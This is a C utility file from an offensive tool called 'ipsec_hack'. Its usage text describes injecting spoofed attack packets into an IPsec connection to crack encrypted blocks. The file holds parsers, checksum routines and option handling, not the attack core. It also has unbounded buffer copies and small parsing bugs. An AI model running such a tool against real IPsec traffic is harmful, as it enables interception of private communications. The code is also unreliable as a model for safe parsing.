#include "ipsec_hack.h" int read_hex_int(char *c) { unsigned int result = 0; while (*c != '\0') { if (*c >= '0' && *c <= '9') result = (result << 4) | (*c - '0'); if (*c >= 'a' && *c <= 'f') result = (result << 4) | (*c - 'a' + 10); c++; } return result; } u8 read_nyble(FILE *fp, int *err) { u8 result; int temp; u8 flag = 0; while ((temp = fgetc(fp)) != EOF) { if ((temp == ' ' || temp == '\n') && flag == 0) continue; else if ((temp == ' ' || temp == '\n') && flag != 0) break; else flag++; if (temp >= '0' && temp <= '9') result = (result << 4) | (temp - '0'); else if (temp >= 'a' && temp <= 'f') result = (result << 4) | (temp - 'a' + 10); else if (temp >= 'F' && temp <= 'F') result = (result << 4) | (temp - 'a' + 10); if (flag > 1) break; } if (temp == EOF) *err = EOF; return result; } u8 read_byte(u8 *c, u8 endmark) { u8 result = 0; while (*c != endmark && *c != '\0') { if (*c >= '0' && *c <= '9') result = (result << 4) | (*c - '0'); if (*c >= 'a' && *c <= 'f') result = (result << 4) | (*c - 'a' + 10); c++; } return result; } void read_mac(u8 *c, u8 *mac) { /* This function assumes that mac is format xx:xx:xx:xx:xx:xx */ int i; for (i = 0; i < 6; i++) mac[i] = read_byte(c + (i * 3), ':'); } void read_block(u8 *c, u8 *block) { /* This function assumes that block is format xx:xx:xx:xx:xx:xx:xx:xx */ int i; for (i = 0; i < 8; i++) block[i] = read_byte(c + (i * 3), ':'); } u32 read_dotted_ipv4_address(u8 *str) { u32 result = 0; u8 temp = 0; while (*str != '\0') { if (*str >= '0' && *str <= '9') { temp *= 10; temp += *str - '0'; } else if (*str == '.') { result = (result << 8) | temp; temp = 0; } str++; } result = (result << 8) | temp; return result; } u16 ipheader_checksum(u16 *buffer, u16 len) { u32 check = 0; while (len-- > 0) check += (u32)(*buffer++); while (check >> 16) check = (check & 0x0000ffff) + (check >> 16); return (u16)(check == 0 ? 0 : ~check); } /* * Not limited to even length as in ipheader_checksum().. */ u16 compute_checksum(u8 *b, u32 len) { u32 csum = 0; u32 overf; while (len > 1) { csum += (u32) * ((u16 *)b)++; len -= 2; } if (len) csum += (u32)htons((u16)(*b << 8)); while (overf = csum >> 16) csum = (csum & 0xFFFF) + overf; return (u16) ~csum; } u16 compute_tcpudp_checksum(u32 sourceip, u32 destip, u8 protocol, u16 datalen, u8 *data) { u32 pseudohdr[3]; u32 csum; pseudohdr[0] = htonl(sourceip); pseudohdr[1] = htonl(destip); ((u8 *)&pseudohdr[2])[0] = 0; ((u8 *)&pseudohdr[2])[1] = protocol; ((u16 *)&pseudohdr[2])[1] = htons(datalen); csum = (~compute_checksum((u8 *)pseudohdr, 12) & 0xFFFF) + (~compute_checksum(data, datalen) & 0xFFFF); if (csum & 0xFFFF0000) csum = (csum + 1) & 0xFFFF; return (u16) ~csum; } void ipv4_print_address(u32 address) { printf("%ld.%ld.%ld.%ld", ((address & 0x000000ff) >> 0), ((address & 0x0000ff00) >> 8), ((address & 0x00ff0000) >> 16), ((address & 0xff000000) >> 24)); } void parse_option(char *arg, option_data *opt) { if (strncmp("file=", arg, 5) == 0) read_arguments_from_file((arg + 5), opt); if (strncmp("src=", arg, 4) == 0) opt->src_address = read_dotted_ipv4_address(arg + 4); if (strncmp("dst=", arg, 4) == 0) opt->dst_address = read_dotted_ipv4_address(arg + 4); if (strncmp("fake_src=", arg, 9) == 0) opt->fake_src_address = read_dotted_ipv4_address(arg + 9); if (strncmp("gw=", arg, 3) == 0) opt->gw = read_dotted_ipv4_address(arg + 3); if (strncmp("fake_dst=", arg, 9) == 0) opt->fake_dst_address = read_dotted_ipv4_address(arg + 9); if (strncmp("spi=", arg, 4) == 0) opt->spi = read_hex_int(arg + 4); if (strncmp("lif=", arg, 4) == 0) strcpy(opt->listen_if, (arg + 4)); if (strncmp("sif=", arg, 4) == 0) strcpy(opt->send_if, (arg + 4)); if (strncmp("guess=", arg, 6) == 0) read_block((arg + 6), opt->guess); if (strncmp("block=", arg, 6) == 0) read_block((arg + 6), opt->block_to_crack); if (strncmp("oiv=", arg, 4) == 0) read_block((arg + 4), opt->original_iv); if (strncmp("dmac=", arg, 5) == 0) read_mac((arg + 5), opt->dmac); if (strncmp("-h", arg, 2) == 0) { printf("Usage: ipsec_hack [options]\n"); printf("Options:\n"); printf("\tfile={filename}\t\t\t read options from file\n"); printf("\tsrc={dotted IPv4 address}\t source address of the IPsec connection\n"); printf("\tdst={dotted IPv4 address}\t destination address of the IPsec connection\n"); printf("\tfake_src={dotted IPv4 address}\t source address of the attack packet\n"); printf("\tfake_dst={dotted IPv4 address}\t destination address of the attack packet\n"); printf("\tspi={hex int}\t\t\t SPI of the IPsec connection\n"); printf("\tlif={interface name}\t\t name of the listening interface\n"); printf("\tsif={interface name}\t\t name of the interface where the attack packets are sent\n"); printf("\tguess={xx:xx:xx:xx:xx:xx:xx:xx}\t first guess of the plaintext block\n"); printf("\tblock={xx:xx:xx:xx:xx:xx:xx:xx}\t block to crack\n"); printf("\toiv={xx:xx:xx:xx:xx:xx:xx:xx}\t IV used to enrypt the block\n"); printf("\tdmac={xx:xx:xx:xx:xx:xx}\t MAC address of the gateway\n"); printf("\t\t\t\t\t used to send attack packets\n"); printf("\t-v\t\t\t\t verbose mode\n"); printf("\t-vv\t\t\t\t more verbose mode\n"); printf("\t-s\t\t\t\t exit if SPI between src and dst not seen for n seconds\n"); printf("\t-i{int}\t\t\t\t packet counter reporting interval (default is 1000)\n"); printf("\t-w{int}\t\t\t\t seconds to wait before existing if SPI not seen\n"); printf("\t-cd\t\t\t\t allow random reserved bit in IP header (default is NO)\n"); exit(1); } if (strncmp("-v", arg, 2) == 0) opt->verbose = 1; if (strncmp("-vv", arg, 3) == 0) opt->verbose = 2; if (strncmp("-s", arg, 2) == 0) opt->spi_change_detection = 1; if (strncmp("-i", arg, 2) == 0) opt->packet_print_intervall = atoi(arg + 2); if (strncmp("-w", arg, 2) == 0) opt->spi_wait_time = atoi(arg + 2); if (strncmp("-ch", arg, 3) == 0) opt->rsv_bit = 0; } int read_arguments_from_file(char *fname, option_data *opt) { char line_buf[100]; char *bp; char c; FILE *fp; fp = fopen(fname, "r"); if (fp == NULL) { printf("Error opening file %s\n", fname); return -1; } bp = line_buf; while ((c = fgetc(fp)) != EOF) { if (c == '\n') { *bp = '\0'; parse_option(line_buf, opt); bp = line_buf; continue; } *bp = c; bp++; } fclose(fp); return 1; } int read_arguments(int argc, char *argv[], option_data *opt) { for (; argc > 1; argc--) parse_option(argv[argc - 1], opt); }